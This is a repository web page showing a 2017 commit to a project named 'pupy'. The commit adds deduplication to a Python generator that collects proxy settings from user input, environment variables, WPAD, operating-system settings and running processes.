Rooba
/
pupy
mirror of https://github.com/n1nj4sec/pupy.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Proxies deduplication

This commit is contained in:
Oleksii Shevchuk 2017-04-26 07:20:06 +03:00
parent d1fc37cf19
commit 2e5bc63627
1 changed files with 28 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

36
pupy/network/lib/proxies.py
View File

@ -246,6 +246,8 @@ def get_wpad_proxies(wpad_timeout=600):
def get_proxies(additional_proxies=None): def get_proxies(additional_proxies=None):
global PROXY_MATCHER global PROXY_MATCHER
dups = set()
if additional_proxies != None: if additional_proxies != None:
for proxy_str in additional_proxies: for proxy_str in additional_proxies:
if not proxy_str: if not proxy_str:
@ -256,7 +258,9 @@ def get_proxies(additional_proxies=None):
# HTTP:login:password@ip:port # HTTP:login:password@ip:port
if '://' in proxy_str: if '://' in proxy_str:
for proxy in parse_env_proxies(proxy_str): for proxy in parse_env_proxies(proxy_str):
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)
else: else:
if '@' in proxy_str: if '@' in proxy_str:
tab=proxy_str.split(':',1) tab=proxy_str.split(':',1)
@ -267,23 +271,39 @@ def get_proxies(additional_proxies=None):
#HTTP:ip:port #HTTP:ip:port
proxy_type, address, port = proxy_str.split(':') proxy_type, address, port = proxy_str.split(':')
yield proxy_type.upper(), address+':'+port, login, password proxy = proxy_type.upper(), address+':'+port, login, password
if not proxy in dups:
yield proxy
dups.add(proxy)
for proxy in get_python_proxies(): for proxy in get_python_proxies():
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)
for proxy in get_env_proxies(): for proxy in get_env_proxies():
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)
for proxy in get_wpad_proxies(): for proxy in get_wpad_proxies():
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)
if os.name == 'nt': if os.name == 'nt':
for proxy in get_win_proxies(): for proxy in get_win_proxies():
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)
elif os.name == 'posix': elif os.name == 'posix':
for proxy in get_gio_proxies(): for proxy in get_gio_proxies():
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)
for proxy in get_processes_proxies(): for proxy in get_processes_proxies():
yield proxy if not proxy in dups:
yield proxy
dups.add(proxy)